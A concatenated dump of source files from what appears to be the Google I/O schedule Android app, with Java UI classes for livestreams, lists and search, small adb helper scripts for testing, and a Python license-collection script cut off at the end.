mVideoLayout.setBackgroundResource(R.drawable.grey_frame_on_white); final LayoutParams videoLayoutParams = (LayoutParams) mVideoLayout.getLayoutParams(); videoLayoutParams.setMargins(padding, padding, padding, padding); mVideoLayout.setLayoutParams(videoLayoutParams); } } /** * Adjusts phone layouts for full screen video. */ private void layoutPhoneFullscreen(boolean fullscreen) { if (fullscreen) { mTabHost.setVisibility(View.GONE); if (mYouTubePlayer != null) { mYouTubePlayer.setFullscreen(true); } } else { mTabHost.setVisibility(View.VISIBLE); setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_PORTRAIT); } } private int getActionBarHeightPx() { int[] attrs = new int[] { android.R.attr.actionBarSize }; return (int) getTheme().obtainStyledAttributes(attrs).getDimension(0, 0f); } /** * Adapter that backs the action bar drop-down spinner. */ private class LivestreamAdapter extends CursorAdapter { LayoutInflater mLayoutInflater; public LivestreamAdapter(Context context) { super(context, null, 0); if (UIUtils.hasICS()) { mLayoutInflater = (LayoutInflater) getSupportActionBar().getThemedContext() .getSystemService(LAYOUT_INFLATER_SERVICE); } else { mLayoutInflater = (LayoutInflater) context.getSystemService(LAYOUT_INFLATER_SERVICE); } } @Override public Object getItem(int position) { mCursor.moveToPosition(position); return mCursor; } @Override public View newDropDownView(Context context, Cursor cursor, ViewGroup parent) { // Inflate view that appears in the drop-down spinner views return mLayoutInflater.inflate( R.layout.spinner_item_session_livestream, parent, false); } @Override public View newView(Context context, Cursor cursor, ViewGroup parent) { // Inflate view that appears in the selected spinner return mLayoutInflater.inflate(android.R.layout.simple_spinner_item, parent, false); } @Override public void bindView(View view, Context context, Cursor cursor) { // Bind view that appears in the selected spinner or in the drop-down final TextView titleView = (TextView) view.findViewById(android.R.id.text1); final TextView subTitleView = (TextView) view.findViewById(android.R.id.text2); String trackName = cursor.getString(SessionsQuery.TRACK_NAME); if (TextUtils.isEmpty(trackName)) { trackName = getString(R.string.app_name); } else { trackName = getString(R.string.session_livestream_track_title, trackName); } String sessionTitle = cursor.getString(SessionsQuery.TITLE); if (subTitleView != null) { // Drop-down view titleView.setText(trackName); subTitleView.setText(sessionTitle); } else { // Selected view titleView.setText(getString(R.string.session_livestream_title) + ": " + trackName); } } } /** * Adapter that backs the ViewPager tabs on the phone UI. */ private static class TabsAdapter extends FragmentPagerAdapter implements TabHost.OnTabChangeListener, ViewPager.OnPageChangeListener { private final FragmentActivity mContext; private final TabHost mTabHost; private final ViewPager mViewPager; public final HashMap<Integer, Fragment> mFragments; private final ArrayList<Integer> mTabNums; private int tabCount = 0; static class DummyTabFactory implements TabHost.TabContentFactory { private final Context mContext; public DummyTabFactory(Context context) { mContext = context; } @Override public View createTabContent(String tag) { View v = new View(mContext); v.setMinimumWidth(0); v.setMinimumHeight(0); return v; } } @SuppressLint("UseSparseArrays") public TabsAdapter(FragmentActivity activity, TabHost tabHost, ViewPager pager) { super(activity.getSupportFragmentManager()); mFragments = new HashMap<Integer, Fragment>(3); mContext = activity; mTabHost = tabHost; mViewPager = pager; mTabHost.setOnTabChangedListener(this); mViewPager.setAdapter(this); mViewPager.setOnPageChangeListener(this); mTabNums = new ArrayList<Integer>(3); } public void addTab(String tabTitle, Fragment newFragment, int tabId) { ViewGroup tabWidget = (ViewGroup) mTabHost.findViewById(android.R.id.tabs); TextView tabIndicatorView = (TextView) mContext.getLayoutInflater().inflate( R.layout.tab_indicator_color, tabWidget, false); tabIndicatorView.setText(tabTitle); final TabHost.TabSpec tabSpec = mTabHost.newTabSpec(String.valueOf(tabCount++)); tabSpec.setIndicator(tabIndicatorView); tabSpec.setContent(new DummyTabFactory(mContext)); mTabHost.addTab(tabSpec); mFragments.put(tabId, newFragment); mTabNums.add(tabId); notifyDataSetChanged(); } @Override public int getCount() { return mFragments.size(); } @Override public Fragment getItem(int position) { return mFragments.get(mTabNums.get(position)); } @Override public void onTabChanged(String tabId) { int position = mTabHost.getCurrentTab(); mViewPager.setCurrentItem(position); } @Override public void onPageScrolled(int position, float positionOffset, int positionOffsetPixels) { } @Override public void onPageSelected(int position) { // Unfortunately when TabHost changes the current tab, it kindly also takes care of // putting focus on it when not in touch mode. The jerk. This hack tries to prevent // this from pulling focus out of our ViewPager. TabWidget widget = mTabHost.getTabWidget(); int oldFocusability = widget.getDescendantFocusability(); widget.setDescendantFocusability(ViewGroup.FOCUS_BLOCK_DESCENDANTS); mTabHost.setCurrentTab(position); widget.setDescendantFocusability(oldFocusability); } @Override public void onPageScrollStateChanged(int state) { } } /** * Simple fragment that inflates a session summary layout that displays session title and * abstract. */ public static class SessionSummaryFragment extends Fragment { private TextView mTitleView; private TextView mAbstractView; private String mTitle; private String mAbstract; public SessionSummaryFragment() { } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View view = inflater.inflate(R.layout.fragment_session_summary, null); mTitleView = (TextView) view.findViewById(R.id.session_title); mAbstractView = (TextView) view.findViewById(R.id.session_abstract); updateViews(); return view; } public void setSessionSummaryInfo(String sessionTitle, String sessionAbstract) { mTitle = sessionTitle; mAbstract = sessionAbstract; updateViews(); } public void updateViews() { if (mTitleView != null && mAbstractView != null) { mTitleView.setText(mTitle); if (!TextUtils.isEmpty(mAbstract)) { mAbstractView.setVisibility(View.VISIBLE); mAbstractView.setText(mAbstract); } else { mAbstractView.setVisibility(View.GONE); } } } } /** * Simple fragment that shows the live captions. */ public static class SessionLiveCaptionsFragment extends Fragment { private static final String CAPTIONS_DARK_THEME_URL_PARAM = "&theme=dark"; private FrameLayout mContainer; private WebView mWebView; private TextView mNoCaptionsTextView; private boolean mDarkTheme = false; private String mSessionTrack; public SessionLiveCaptionsFragment() { } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View view = inflater.inflate(R.layout.fragment_session_captions, null); mContainer = (FrameLayout) view.findViewById(R.id.session_caption_container); if (!UIUtils.isTablet(getActivity())) { mContainer.setBackgroundColor(Color.WHITE); } mNoCaptionsTextView = (TextView) view.findViewById(android.R.id.empty); mWebView = (WebView) view.findViewById(R.id.session_caption_area); mWebView.setOnLongClickListener(new View.OnLongClickListener() { @Override public boolean onLongClick(View view) { // Disable text selection in WebView (doesn't work well with the YT player // triggering full screen chrome after a timeout) return true; } }); mWebView.setWebViewClient(new WebViewClient() { @Override public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { showNoCaptionsAvailable(); } }); updateViews(); return view; } public void setTrackName(String sessionTrack) { mSessionTrack = sessionTrack; updateViews(); } public void setDarkTheme(boolean dark) { mDarkTheme = dark; } @SuppressLint("SetJavaScriptEnabled") public void updateViews() { if (mWebView != null && !TextUtils.isEmpty(mSessionTrack)) { if (mDarkTheme) { mWebView.setBackgroundColor(Color.BLACK); mContainer.setBackgroundColor(Color.BLACK); mNoCaptionsTextView.setTextColor(Color.WHITE); } else { mWebView.setBackgroundColor(Color.WHITE); mContainer.setBackgroundResource(R.drawable.grey_frame_on_white); } String captionsUrl; final String trackLowerCase = mSessionTrack.toLowerCase(); if (mSessionTrack.equals(KEYNOTE_TRACK_NAME)|| trackLowerCase.equals(Config.PRIMARY_LIVESTREAM_TRACK)) { // if keynote or primary track, use primary captions url captionsUrl = Config.PRIMARY_LIVESTREAM_CAPTIONS_URL; } else if (trackLowerCase.equals(Config.SECONDARY_LIVESTREAM_TRACK)) { // else if secondary track use secondary captions url captionsUrl = Config.SECONDARY_LIVESTREAM_CAPTIONS_URL; } else { // otherwise we don't have captions captionsUrl = null; } if (captionsUrl != null) { if (mDarkTheme) { captionsUrl += CAPTIONS_DARK_THEME_URL_PARAM; } mWebView.getSettings().setJavaScriptEnabled(true); mWebView.loadUrl(captionsUrl); mNoCaptionsTextView.setVisibility(View.GONE); mWebView.setVisibility(View.VISIBLE); } else { showNoCaptionsAvailable(); } } } private void showNoCaptionsAvailable() { mWebView.setVisibility(View.GONE); mNoCaptionsTextView.setVisibility(View.VISIBLE); } } /* * Presentation and Media Router methods and classes. This allows use of an externally * connected display to show video content full screen while still showing the regular views * on the primary device display. */ /** * Updates the presentation display. If a suitable external display is attached. The video * will be displayed on that screen instead. If not, the video will be displayed normally. */ private void updatePresentation() { updatePresentation(false); } /** * Updates the presentation display. If a suitable external display is attached. The video * will be displayed on that screen instead. If not, the video will be displayed normally. * @param forceDismiss If true, the external display will be dismissed even if it is still * available. This is useful for if the user wants to explicitly toggle * the external display off even if it's still connected. Setting this to * false will adjust the display based on if a suitable external display * is available or not. */ @TargetApi(Build.VERSION_CODES.JELLY_BEAN_MR1) private void updatePresentation(boolean forceDismiss) { if (!UIUtils.hasJellyBeanMR1()) { return; } // Get the current route and its presentation display MediaRouter.RouteInfo route = mMediaRouter.getSelectedRoute(MediaRouter.ROUTE_TYPE_LIVE_VIDEO); Display presentationDisplay = route != null ? route.getPresentationDisplay() : null; // Dismiss the current presentation if the display has changed if (mPresentation != null && (mPresentation.getDisplay() != presentationDisplay || forceDismiss)) { hidePresentation(); } // Show a new presentation if needed. if (mPresentation == null && presentationDisplay != null && !forceDismiss) { showPresentation(presentationDisplay); } // Show/hide toggle presentation action item if (mPresentationMenuItem != null) { mPresentationMenuItem.setVisible(presentationDisplay != null); } } /** * Shows the Presentation on the designated Display. Some UI components are also updated: * a play/pause button is displayed where the video would normally be; the YouTube player style * is updated to MINIMAL (more suitable for an external display); and an action item is updated * to indicate the external display is being used. */ @TargetApi(Build.VERSION_CODES.JELLY_BEAN_MR1) private void showPresentation(Display presentationDisplay) { LOGD(TAG, "Showing video presentation on display: " + presentationDisplay); if (mIsFullscreen) { if (!mIsTablet) { setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_PORTRAIT); } if (mYouTubePlayer != null) { mYouTubePlayer.setFullscreen(false); } } View presentationView = mYouTubeFragment.getView(); ((ViewGroup) presentationView.getParent()).removeView(presentationView); mPresentation = new YouTubePresentation(this, presentationDisplay, presentationView); mPresentation.setOnDismissListener(mOnDismissListener); try { mPresentation.show(); mPresentationControls.setVisibility(View.VISIBLE); updatePresentationMenuItem(true); if (mYouTubePlayer != null) { mYouTubePlayer.setPlayerStyle(YouTubePlayer.PlayerStyle.MINIMAL); mYouTubePlayer.play(); setFullscreenFlags(true); } } catch (WindowManager.InvalidDisplayException e) { LOGE(TAG, "Couldn't show presentation! Display was removed in the meantime.", e); hidePresentation(); } } /** * Hides the Presentation. Some UI components are also updated: * the video view is returned to its normal place on the primary display; the YouTube player * style is updated to the default; and an action item is updated to indicate the external * display is no longer in use. */ private void hidePresentation() { LOGD(TAG, "Hiding video presentation"); View presentationView = mPresentation.getYouTubeFragmentView(); ((ViewGroup) presentationView.getParent()).removeView(presentationView); mPlayerContainer.addView(presentationView); mPresentationControls.setVisibility(View.GONE); updatePresentationMenuItem(false); mPresentation.dismiss(); mPresentation = null; if (mYouTubePlayer != null) { mYouTubePlayer.setPlayerStyle(YouTubePlayer.PlayerStyle.DEFAULT); mYouTubePlayer.play(); setFullscreenFlags(false); } } /** * Updates the presentation action item. Toggles the icon between two drawables to indicate * if the external display is currently being used or not. * * @param enabled If the external display is enabled or not. */ private void updatePresentationMenuItem(boolean enabled) { if (mPresentationMenuItem != null) { mPresentationMenuItem.setIcon( enabled ? R.drawable.ic_media_route_on_holo_light : R.drawable.ic_media_route_off_holo_light); } } /** * Applies YouTube player full screen flags. Calls through to * {@link #setFullscreenFlags(boolean)}. */ private void setFullscreenFlags() { setFullscreenFlags(true); } /** * Applies YouTube player full screen flags plus forces portrait orientation on small screens * when presentation (secondary display) is enabled (as the full screen layout won't have * anything to display when an external display is connected). * * @param usePresentationMode Whether or not to use presentation mode. This is used when an * external display is connected and the user toggles between * presentation mode. */ private void setFullscreenFlags(boolean usePresentationMode) { if (mYouTubePlayer != null) { if (usePresentationMode && mPresentation != null && !mIsTablet) { mYouTubePlayer.setFullscreenControlFlags(0); setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_PORTRAIT); } else { mYouTubePlayer.setFullscreenControlFlags(mYouTubeFullscreenFlags); setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_UNSPECIFIED); } } } /** * Listens for when the Presentation (which is a type of Dialog) is dismissed. */ private final DialogInterface.OnDismissListener mOnDismissListener = new DialogInterface.OnDismissListener() { @Override public void onDismiss(DialogInterface dialog) { if (dialog == mPresentation) { LOGD(TAG, "Presentation was dismissed."); updatePresentation(true); } } }; /** * The main subclass of Presentation that is used to show content on an externally connected * display. There is no way to add a {@link android.app.Fragment}, and therefore a * YouTubePlayerFragment to a {@link android.app.Presentation} (which is just a subclass of * {@link android.app.Dialog}) so instead we pass in a View directly which is the extracted * YouTubePlayerView from the {@link SessionLivestreamActivity} YouTubePlayerFragment. Not * ideal and fairly hacky but there aren't any better alternatives unfortunately. */ @TargetApi(Build.VERSION_CODES.JELLY_BEAN_MR1) private final static class YouTubePresentation extends Presentation { private View mYouTubeFragmentView; public YouTubePresentation(Context context, Display display, View presentationView) { super(context, display); mYouTubeFragmentView = presentationView; } @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(mYouTubeFragmentView); } public View getYouTubeFragmentView() { return mYouTubeFragmentView; } } private static class SessionShareData { String title; String hashtag; String sessionUrl; public SessionShareData(String title, String hashTag, String url) { this.title = title; hashtag = hashTag; sessionUrl = url; } } /** * Single session query */ public interface SessionSummaryQuery { final static int _TOKEN = 0; final static String[] PROJECTION = { ScheduleContract.Sessions.SESSION_ID, ScheduleContract.Sessions.SESSION_TITLE, ScheduleContract.Sessions.SESSION_ABSTRACT, ScheduleContract.Sessions.SESSION_HASHTAGS, ScheduleContract.Sessions.SESSION_LIVESTREAM_URL, Tracks.TRACK_NAME, ScheduleContract.Blocks.BLOCK_START, ScheduleContract.Blocks.BLOCK_END, }; final static int ID = 0; final static int TITLE = 1; final static int ABSTRACT = 2; final static int HASHTAGS = 3; final static int LIVESTREAM_URL = 4; final static int TRACK_NAME = 5; final static int BLOCK_START= 6; final static int BLOCK_END = 7; } /** * List of sessions query */ public interface SessionsQuery { final static int _TOKEN = 1; final static String[] PROJECTION = { BaseColumns._ID, Sessions.SESSION_ID, Sessions.SESSION_TITLE, Tracks.TRACK_NAME, Tracks.TRACK_COLOR, ScheduleContract.Blocks.BLOCK_START, ScheduleContract.Blocks.BLOCK_END, }; final static int _ID = 0; final static int SESSION_ID = 1; final static int TITLE = 2; final static int TRACK_NAME = 3; final static int TRACK_COLOR = 4; final static int BLOCK_START= 5; final static int BLOCK_END = 6; } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/SessionLivestreamActivity.java
Java
asf20
62,293
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui; import android.content.Context; import android.database.DataSetObserver; import android.util.SparseArray; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.BaseAdapter; import android.widget.ListAdapter; import android.widget.ListView; import android.widget.TextView; import java.util.Arrays; import java.util.Comparator; public class SimpleSectionedListAdapter extends BaseAdapter { private boolean mValid = true; private int mSectionResourceId; private LayoutInflater mLayoutInflater; private ListAdapter mBaseAdapter; private SparseArray<Section> mSections = new SparseArray<Section>(); public static class Section { int firstPosition; int sectionedPosition; CharSequence title; public Section(int firstPosition, CharSequence title) { this.firstPosition = firstPosition; this.title = title; } public CharSequence getTitle() { return title; } } public SimpleSectionedListAdapter(Context context, int sectionResourceId, ListAdapter baseAdapter) { mLayoutInflater = (LayoutInflater) context.getSystemService(Context.LAYOUT_INFLATER_SERVICE); mSectionResourceId = sectionResourceId; mBaseAdapter = baseAdapter; mBaseAdapter.registerDataSetObserver(new DataSetObserver() { @Override public void onChanged() { mValid = !mBaseAdapter.isEmpty(); notifyDataSetChanged(); } @Override public void onInvalidated() { mValid = false; notifyDataSetInvalidated(); } }); } public void setSections(Section[] sections) { mSections.clear(); Arrays.sort(sections, new Comparator<Section>() { @Override public int compare(Section o, Section o1) { return (o.firstPosition == o1.firstPosition) ? 0 : ((o.firstPosition < o1.firstPosition) ? -1 : 1); } }); int offset = 0; // offset positions for the headers we're adding for (Section section : sections) { section.sectionedPosition = section.firstPosition + offset; mSections.append(section.sectionedPosition, section); ++offset; } notifyDataSetChanged(); } public int positionToSectionedPosition(int position) { int offset = 0; for (int i = 0; i < mSections.size(); i++) { if (mSections.valueAt(i).firstPosition > position) { break; } ++offset; } return position + offset; } public int sectionedPositionToPosition(int sectionedPosition) { if (isSectionHeaderPosition(sectionedPosition)) { return ListView.INVALID_POSITION; } int offset = 0; for (int i = 0; i < mSections.size(); i++) { if (mSections.valueAt(i).sectionedPosition > sectionedPosition) { break; } --offset; } return sectionedPosition + offset; } public boolean isSectionHeaderPosition(int position) { return mSections.get(position) != null; } @Override public int getCount() { return (mValid ? mBaseAdapter.getCount() + mSections.size() : 0); } @Override public Object getItem(int position) { return isSectionHeaderPosition(position) ? mSections.get(position) : mBaseAdapter.getItem(sectionedPositionToPosition(position)); } @Override public long getItemId(int position) { return isSectionHeaderPosition(position) ? Integer.MAX_VALUE - mSections.indexOfKey(position) : mBaseAdapter.getItemId(sectionedPositionToPosition(position)); } @Override public int getItemViewType(int position) { return isSectionHeaderPosition(position) ? getViewTypeCount() - 1 : mBaseAdapter.getItemViewType(position); } @Override public boolean isEnabled(int position) { //noinspection SimplifiableConditionalExpression return isSectionHeaderPosition(position) ? false : mBaseAdapter.isEnabled(sectionedPositionToPosition(position)); } @Override public int getViewTypeCount() { return mBaseAdapter.getViewTypeCount() + 1; // the section headings } @Override public boolean areAllItemsEnabled() { return false; } @Override public boolean hasStableIds() { return mBaseAdapter.hasStableIds(); } @Override public boolean isEmpty() { return mBaseAdapter.isEmpty(); } @Override public View getView(int position, View convertView, ViewGroup parent) { if (isSectionHeaderPosition(position)) { TextView view = (TextView) convertView; if (view == null) { view = (TextView) mLayoutInflater.inflate(mSectionResourceId, parent, false); } view.setText(mSections.get(position).title); return view; } else { return mBaseAdapter.getView(sectionedPositionToPosition(position), convertView, parent); } } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/SimpleSectionedListAdapter.java
Java
asf20
6,074
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui; import android.content.Intent; import android.net.Uri; import android.os.Bundle; import android.support.v4.app.Fragment; import android.support.v4.app.NavUtils; import android.view.MenuItem; import com.google.android.apps.iosched.R; import com.google.android.apps.iosched.provider.ScheduleContract; import com.google.android.apps.iosched.ui.HomeActivity; import com.google.android.apps.iosched.ui.SessionFeedbackFragment; import com.google.android.apps.iosched.ui.SimpleSinglePaneActivity; import com.google.android.apps.iosched.ui.TrackInfo; import com.google.android.apps.iosched.ui.TrackInfoHelperFragment; import com.google.android.apps.iosched.util.BeamUtils; public class SessionFeedbackActivity extends SimpleSinglePaneActivity implements TrackInfoHelperFragment.Callbacks { private String mSessionId = null; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); if (savedInstanceState == null) { Uri sessionUri = getIntent().getData(); BeamUtils.setBeamSessionUri(this, sessionUri); getSupportFragmentManager().beginTransaction() .add(TrackInfoHelperFragment.newFromSessionUri(sessionUri), "track_info") .commit(); } mSessionId = ScheduleContract.Sessions.getSessionId(getIntent().getData()); } @Override protected int getContentViewResId() { return R.layout.activity_letterboxed_when_large; } @Override protected Fragment onCreatePane() { return new SessionFeedbackFragment(); } @Override public Intent getParentActivityIntent() { // Up to this session's track details, or Home if no track is available if (mSessionId != null) { return new Intent(Intent.ACTION_VIEW, ScheduleContract.Sessions.buildSessionUri(mSessionId)); } else { return new Intent(this, HomeActivity.class); } } @Override public void onTrackInfoAvailable(String trackId, TrackInfo track) { setTitle(track.name); setActionBarTrackIcon(track.name, track.color); } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/SessionFeedbackActivity.java
Java
asf20
2,855
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui; import android.annotation.TargetApi; import android.app.SearchManager; import android.content.Intent; import android.net.Uri; import android.os.Build; import android.os.Bundle; import android.support.v4.app.Fragment; import android.support.v4.app.FragmentManager; import android.text.Html; import android.view.Menu; import android.view.MenuItem; import android.widget.SearchView; import com.google.analytics.tracking.android.EasyTracker; import com.google.android.apps.iosched.R; import com.google.android.apps.iosched.provider.ScheduleContract; import com.google.android.apps.iosched.provider.ScheduleContract.Sessions; import com.google.android.apps.iosched.util.BeamUtils; import com.google.android.apps.iosched.util.ImageLoader; import com.google.android.apps.iosched.util.ReflectionUtils; import com.google.android.apps.iosched.util.UIUtils; import static com.google.android.apps.iosched.util.LogUtils.LOGD; /** * An activity that shows session search results. This activity can be either single * or multi-pane, depending on the device configuration. */ public class SearchActivity extends BaseActivity implements SessionsFragment.Callbacks, ImageLoader.ImageLoaderProvider { private boolean mTwoPane; private SessionsFragment mSessionsFragment; private Fragment mDetailFragment; private ImageLoader mImageLoader; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_search); mTwoPane = (findViewById(R.id.fragment_container_detail) != null); FragmentManager fm = getSupportFragmentManager(); mSessionsFragment = (SessionsFragment) fm.findFragmentById(R.id.fragment_container_master); if (mSessionsFragment == null) { mSessionsFragment = new SessionsFragment(); fm.beginTransaction() .add(R.id.fragment_container_master, mSessionsFragment) .commit(); } mDetailFragment = fm.findFragmentById(R.id.fragment_container_detail); mImageLoader = new ImageLoader(this, R.drawable.person_image_empty) .setMaxImageSize(getResources().getDimensionPixelSize(R.dimen.speaker_image_size)) .setFadeInImage(UIUtils.hasHoneycombMR1()); } @Override protected void onPostCreate(Bundle savedInstanceState) { super.onPostCreate(savedInstanceState); onNewIntent(getIntent()); } @Override public void onNewIntent(Intent intent) { setIntent(intent); String query = intent.getStringExtra(SearchManager.QUERY); setTitle(Html.fromHtml(getString(R.string.title_search_query, query))); mSessionsFragment.reloadFromArguments(intentToFragmentArguments( new Intent(Intent.ACTION_VIEW, Sessions.buildSearchUri(query)))); EasyTracker.getTracker().sendView("Search: " + query); LOGD("Tracker", "Search: " + query); updateDetailBackground(); } @Override @TargetApi(Build.VERSION_CODES.HONEYCOMB) public boolean onCreateOptionsMenu(Menu menu) { super.onCreateOptionsMenu(menu); getMenuInflater().inflate(R.menu.search, menu); final MenuItem searchItem = menu.findItem(R.id.menu_search); if (searchItem != null && UIUtils.hasHoneycomb()) { SearchView searchView = (SearchView) searchItem.getActionView(); if (searchView != null) { SearchManager searchManager = (SearchManager) getSystemService(SEARCH_SERVICE); searchView.setSearchableInfo(searchManager.getSearchableInfo(getComponentName())); searchView.setQueryRefinementEnabled(true); searchView.setOnQueryTextListener(new SearchView.OnQueryTextListener() { @Override public boolean onQueryTextSubmit(String s) { ReflectionUtils.tryInvoke(searchItem, "collapseActionView"); return false; } @Override public boolean onQueryTextChange(String s) { return false; } }); searchView.setOnSuggestionListener(new SearchView.OnSuggestionListener() { @Override public boolean onSuggestionSelect(int i) { return false; } @Override public boolean onSuggestionClick(int i) { ReflectionUtils.tryInvoke(searchItem, "collapseActionView"); return false; } }); } } return true; } @Override public boolean onOptionsItemSelected(MenuItem item) { switch (item.getItemId()) { case R.id.menu_search: if (!UIUtils.hasHoneycomb()) { startSearch(null, false, Bundle.EMPTY, false); return true; } break; } return super.onOptionsItemSelected(item); } private void updateDetailBackground() { if (mTwoPane) { findViewById(R.id.fragment_container_detail).setBackgroundResource( (mDetailFragment == null) ? R.drawable.grey_frame_on_white_empty_sessions : R.drawable.grey_frame_on_white); } } @Override public boolean onSessionSelected(String sessionId) { Uri sessionUri = ScheduleContract.Sessions.buildSessionUri(sessionId); Intent detailIntent = new Intent(Intent.ACTION_VIEW, sessionUri); if (mTwoPane) { BeamUtils.setBeamSessionUri(this, sessionUri); SessionDetailFragment fragment = new SessionDetailFragment(); fragment.setArguments(BaseActivity.intentToFragmentArguments(detailIntent)); getSupportFragmentManager().beginTransaction() .replace(R.id.fragment_container_detail, fragment) .commit(); mDetailFragment = fragment; updateDetailBackground(); return true; } else { startActivity(detailIntent); return false; } } @Override public ImageLoader getImageLoaderInstance() { return mImageLoader; } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/SearchActivity.java
Java
asf20
7,140
#!/bin/sh adb shell cat /data/data/com.google.android.apps.iosched/shared_prefs/com.google.android.apps.iosched_preferences.xml | xmllint --format -
zzc88915-iosched
scripts/cat_preferences.sh
Shell
asf20
148
#!/bin/sh # # Copyright 2013 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # # This script will launch the Session Livestream Activity with a video playing # and some placeholder text for session title and session summary. This is # useful for quickly testing the activity as navigating there via the UI can # be a bit tricky as the livestream activity is only reachable when a session # is currently "live" (can be simulated by setting device time or using the # set_moack_time.sh script). # if [[ -z $ADB ]]; then ADB=adb; fi $ADB shell am start -n com.google.android.apps.iosched/.ui.SessionLivestreamActivity -e com.google.android.iosched.extra.youtube_url 9bZkp7q19f0 -e com.google.android.iosched.extra.title "Session Title" -e com.google.android.iosched.extra.abstract "Session summary goes here."
zzc88915-iosched
scripts/launch_livestream_activity.sh
Shell
asf20
1,323
#!/bin/sh adb shell pm clear com.google.android.apps.iosched
zzc88915-iosched
scripts/cleardata.sh
Shell
asf20
60
#!/bin/sh if [[ -z $ADB ]]; then ADB=adb; fi MAC_UNAME="Darwin" if [[ "`uname`" == ${MAC_UNAME} ]]; then DATE_FORMAT="%Y-%m-%dT%H:%M:%S" else DATE_FORMAT="%Y-%m-%d %H:%M:%S" fi if [ -z "$1" ]; then NOW_DATE=$(date "+${DATE_FORMAT}") echo Please provide a mock time in the format \"${NOW_DATE}\" or \"d\" to delete the mock time. >&2 exit fi TEMP_FILE=$(mktemp -t iosched_mock_time.XXXXXXXX) MOCK_TIME_STR="$1" if [[ "d" == "${MOCK_TIME_STR}" ]]; then echo Deleting mock time... >&2 ./kill_process.sh $ADB shell rm /data/data/com.google.android.apps.iosched/shared_prefs/mock_data.xml exit fi if [[ "`uname`" == ${MAC_UNAME} ]]; then MOCK_TIME_MSEC=$(date -j -f ${DATE_FORMAT} ${MOCK_TIME_STR} "+%s")000 else MOCK_TIME_MSEC=$(date -d "${MOCK_TIME_STR}" +%s)000 fi echo Setting mock time to "${MOCK_TIME_STR}" == "${MOCK_TIME_MSEC}" ... >&2 cat >${TEMP_FILE}<<EOT <?xml version='1.0' encoding='utf-8' standalone='yes' ?> <map> <long name="mock_current_time" value="${MOCK_TIME_MSEC}"/> </map> EOT ./kill_process.sh $ADB push ${TEMP_FILE} /data/data/com.google.android.apps.iosched/shared_prefs/mock_data.xml
zzc88915-iosched
scripts/set_mock_time.sh
Shell
asf20
1,137
#!/usr/bin/python # Copyright 2011 Google, Inc. All Rights Reserved. # simple script to walk source tree looking for third-party licenses # dumps resulting html page to stdout import os, re, mimetypes, sys # read source directories to scan from command line SOURCE = sys.argv[1:] # regex to find /* */ style comment blocks COMMENT_BLOCK = re.compile(r"(/\*.+?\*/)", re.MULTILINE | re.DOTALL) # regex used to detect if comment block is a license COMMENT_LICENSE = re.compile(r"(license)", re.IGNORECASE) COMMENT_COPYRIGHT = re.compile(r"(copyright)", re.IGNORECASE) EXCLUDE_TYPES = [ "application/xml", "image/png", ] # list of known licenses; keys are derived by stripping all whitespace and # forcing to lowercase to help combine multiple files that have same license. KNOWN_LICENSES = {} class License: def __init__(self, license_text): self.license_text = license_text self.filenames = [] # add filename to the list of files that have the same license text def add_file(self, filename): if filename not in self.filenames: self.filenames.append(filename) LICENSE_KEY = re.compile(r"[^\w]") def find_license(license_text): # TODO(alice): a lot these licenses are almost identical Apache licenses. # Most of them differ in origin/modifications. Consider combining similar # licenses. license_key = LICENSE_KEY.sub("", license_text).lower() if license_key not in KNOWN_LICENSES: KNOWN_LICENSES[license_key] = License(license_text) return KNOWN_LICENSES[license_key] def discover_license(exact_path, filename): # when filename ends with LICENSE, assume applies to filename prefixed if filename.endswith("LICENSE"): with open(exact_path) as file: license_text = file.read() target_filename = filename[:-len("LICENSE")] if target_filename.endswith("."): target_filename = target_filename[:-1] find_license(license_text).add_file(target_filename) return None # try searching for license blocks in raw file mimetype = mimetypes.guess_type(filename) if mimetype in EXCLUDE_TYPES: return None with open(exact_path) as file: raw_file = file.read() # include comments that have both "license" and "copyright" in the text for comment in COMMENT_BLOCK.finditer(raw_file): comment = comment.group(1) if 